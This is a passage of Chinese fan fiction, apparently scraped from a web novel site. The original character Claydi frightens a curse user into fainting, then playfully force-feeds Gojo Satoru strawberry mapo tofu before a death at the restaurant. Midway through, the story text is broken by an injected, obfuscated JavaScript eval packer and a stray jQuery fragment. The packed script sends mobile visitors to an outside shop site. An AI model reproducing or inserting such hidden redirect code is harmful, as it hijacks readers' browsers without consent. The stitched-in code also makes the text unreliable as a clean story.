克莱笛倒是笑得开心,他以一种微妙上扬的语气宣布了田野菊次郎说什么都不想听到的结果,像是在给他什么惊喜:“锵锵——第四次了~好巧啊,没想到会在这里遇见你呢!”
巧你个头!
被戏耍了一通的田野菊次郎明悟了,克莱笛这次就是要搞死他!
他想要斥责克莱笛,可脆弱的神经几经折腾早已维持不住,最终,他胡乱叫唤起来,不管不顾地从地上爬起来转身逃跑,想要逃离身后的恶魔,却屡屡被地面上的凸起绊倒。
身后的恶魔又一次发出了声音,田野菊次郎听到了,它在嘲笑他!
“啊呀,失去了咒力的菊次郎酱变得像是小脑发育不完全一样了~”
克莱笛只发出了一道声音,可这嘲笑声穿到田野菊次郎脑袋里却突然变得好大好大、好多好多。
田野菊次郎处理不过来了,好像被封锁在了一个只会对他发出嘲笑的密闭小房间里。
四周都是嘲笑声,窃窃私语声,头晕目眩中,他扶住了墙壁,墙壁上却做出了黏腻的红黄色苔藓。
他无法抽出精力去在意这些苔藓,直到它们顺着他的手掌向上攀爬,在他抽手之前剥下了他手掌的皮。
田野菊次郎目眦欲裂,护着没了皮的手继续向前逃跑。
可刚刚还在前方的街道变成了两个转动着的巨大玻璃体,玻璃体下方,白森森带着红色爬行蚯蚓的骨骼急切地迎合他。
不不不不不,他不能往那边走!会被嚼碎的!
田野菊次郎反应过来,他的脑中阵阵钝痛,可他顾不得这钝痛,急切地、失去了方向的蚂蚁般地、走投无路地转向寻找出路。
可是路没了!哈哈,路没了!
他不敢置信地抚摸那些遍布周身的红黄色墙壁,略显苍老的面部肌肉失去了理性与感性的操控,一块块地坠了下去。
他知道了,他要死了。
啊,也是,他早就要死了,做诅咒师的,哪有不死的。
可是他要死了吗?他为什么要死?他做错了什么?
他明明已经照做了一切,为什么还要杀了他?
……啊,这句话,就和他第一次杀人的时候,那对夫妻说的话一模一样啊。
他当时是怎么回答的?
好像,记不起来了。
可是他不想死啊……
好可怕好可怕好可怕好可怕好可怕,他不想死啊!他才53岁,还能活很久很久!他不想死啊!
咔嚓——
布满红黄色苔藓的墙壁吞没了他的脑袋。
……
安静的小巷子里,总共也才说了两句话的克莱笛蹲下身,看着被吓晕过去的诅咒师,哼姆哼姆了几秒,旋即脑袋上冒出一个巨大的灯泡。
辅助系统已经习惯了他在它底线边缘大鹏展翅,看他这架势,叽里呱啦嘟囔了一堆有的没的,倒底是没有斥责他。
辅助系统:算了算了,吓唬人而已,起码他没把人吓死。
对于辅助系统的碎碎念,克莱笛也是左耳进右耳出,全当啥也没听到。他顺应内心对田野菊次郎的关心,坚持着对现状的判断。
克莱笛:这人睡地上醒过来那不得一肚子凉气,刚好附近有个合适的地,我把人拖过去好了!
辅助系统:我没记错的话,那好像是几位窗的据点吧?
克莱笛:啦啦啦~
克莱笛还得满世界跑呢,要是再遇见田野菊次郎,田野菊次郎该多危险啊!
辅助系统:那可真是太危险了。
但是把他送到总监会手里就不一样啦~有总监会帮忙,他就再也不会碰见克莱笛了!
辅助系统:哇,原来如此,如此明智的判断,不愧是救世主大人!
对吧对吧!瞧瞧,他多害怕克莱笛啊!克莱笛没说几句话他就被吓晕过去了,这种胆量谁让他做诅咒师的!真是太不负责了!
辅助系统:……哇哦,不愧是救世主大人。
[虽然但是,其实救世主大人你只是单纯对着人有意见,不想让他继续活着吧。落到窗手里,和落到总监会手里压根没区别啊。]
辅助系统压着心声,啧啧感叹,给田野菊次郎点了根蜡。
于是,在克莱笛无微不至的善心下,游龙甩尾卷住这人的右小腿,跟着克莱笛一路将人拖到了某户人家的窗台。
做完好事,看着仍在享受婴儿般睡眠的田野菊次郎,克莱笛擦了擦额头,颇有成就感地叉了会儿腰,赶在被发现之前开开心心地离消失了。
虽然他可爱的欧豆豆还在等待上菜,但他也是要快点回去的!要是欧豆豆吃了黑暗料理他却不在,那也太糟糕了!
某处店内,百无聊赖地等待某人从叙旧中脱身的白毛不知道黑毛对他的记挂,正翻着菜单,暗戳戳地想着要不要再陷害一下亲爱的欧尼酱。
还没等他想好呢,他的脑袋就突然被轻轻拍了一下。
五条悟猛地收起菜单,正直地看向身旁,可惜一开口心思就从嘴里掉出来了:“欧尼酱回来得真快啊。”
克莱笛挑眉,哼哼两声,两根手指指了指自己的眼睛,又指了指五条悟的眼睛。
克莱笛:欧尼酱 is watching you。
哼,还想暗算他?想得很美,但接下来就不要怪他下手不留情了!
五条悟敏锐地从他的目光中嗅出危险的气息,起身就要逃跑,却被克莱笛扼住了命运的咽喉。
克莱笛一脸(^ω^)地抓住了他的后衣领把他压回座位,将正好上桌的草莓豆腐放到他的面前,“哈哈,草莓麻婆豆腐来喽,欧豆豆怎么不吃呢?”
五条悟不说话了。
一旁,目不斜视的服务员上完菜轻盈地飞走,随即躲在后厨门口悄咪咪地偷窥。
服务员:实不相瞒,我感觉他们要打架。
克莱笛不这么想,打架肯定是打不起来的,他们还要吃饭呢,但欧豆豆死罪可免,活罪难逃!自己点的菜,含着泪也要吃下去!
看着绞尽脑汁准备狡辩的五条悟,他拿起勺子放到这个混蛋徒弟手里,语气核蔼极了:“怎么突然间不说话了呢?祈祷捏?”
五条悟:“……”别吵,他正在构思!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948058|205181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
良久,他终于开口,用那双湛蓝的眼睛拼命挤出了点湿润的东西,含泪看着克莱笛满是笑意的眼睛,企图唤醒曾经的师徒爱:
“欧尼酱,其实,我是想要给你一个惊喜的。”
“是吗?”
克莱笛抓着他的手舀了一勺往他嘴边送过去,笑意不减地威胁:“居然是惊喜啊,那很巧了,欧尼酱其实也要给你一个惊喜哦,猜猜看,如果悟酱不动嘴谁会死?”
五条悟又沉默了。
沉思片刻,他又开口,想要再挣扎一下,“我还记得——”
“我还记得那是一个平平无奇的早晨,我们相遇了~那时一切多么美好~”克莱笛截断他的废话,一眼看出他的打算。
可得了吧,五条悟张个嘴克莱笛就知道他要说什么,都到这种时候了还想跑,门都没有!
“好了,不要再浪费时间了,食物会变得难吃的啊欧豆豆!”
说罢,克莱笛不管不顾,强行把勺子往五条悟嘴里怼。
五条悟瞬间不演了,猛猛摇头躲避,同时伸手拿起另一个勺子准备以同样的方式进攻克莱笛。
手拿草莓麻婆豆腐,五条悟心里那底气就上来了,猖狂反抗:“欧尼酱,果然还是应该由你来起头啊!欧豆豆先吃了算什么事!”
克莱笛直呼这欧豆豆不能要了,以z字形走位保护自己的脑袋,同时手一翻就朝五条悟的嘴巴送去,厉声低喝:“说的什么胡话!这种好东西欧尼酱当然要学会谦让!你不吃我怎么吃!”
旁观的服务员:……
还以为能看到什么好东西呢,原来……我去这是在拍什么大片吗?勺子都挥出残影了啊!
服务员:我在餐饮行业偶遇修仙大佬系列,竭诚为您播出!
不过,既然讨厌草莓麻婆豆腐,那就不要点啊!现在这样不是在浪费食物吗!就算是修仙界大佬也不能这样没有道德啊!
就在餐桌上打得一片火热、服务员心里小人疯狂撕咬手帕时,餐厅内突然响起一声尖叫。
克莱笛动作一顿,五条悟跟着急刹下疑似要拉出音爆的勺子,同一时间,两人握手言和。
随后,两个毛茸茸的脑袋一起从沙发上探出,向着发出过于吵闹动静的餐桌看去。
距离他们大概两三米的位置上,一个中年男性趴在桌上不省人事,而那声尖叫正是他身边的一个小年轻发出的。
显而易见!这是一场谋杀!刚刚偷窥他们的服务员都哭丧着脸往那边走过去了!
迅速对这件事下了定论,克莱笛眨了眨眼,侧首小声同五条悟咬着耳朵:“欧豆豆,好像发生了不得了的事情!”
察觉到那名中年男性的呼吸消失,懂他意思的五条悟同样小声地回复:“好像是这样没错,欧尼酱,我们要报警吗?”
“那是当然!”
克莱笛拿出手机,三下五除二地召唤了警察,并再三声明他并没有播放防空警报。
五条悟在一旁鼓掌,“哇,不愧是欧尼酱,真是快速的报警!”
克莱笛当即双手叉腰,仰天长笑,“哼哼!这是理所当然的!”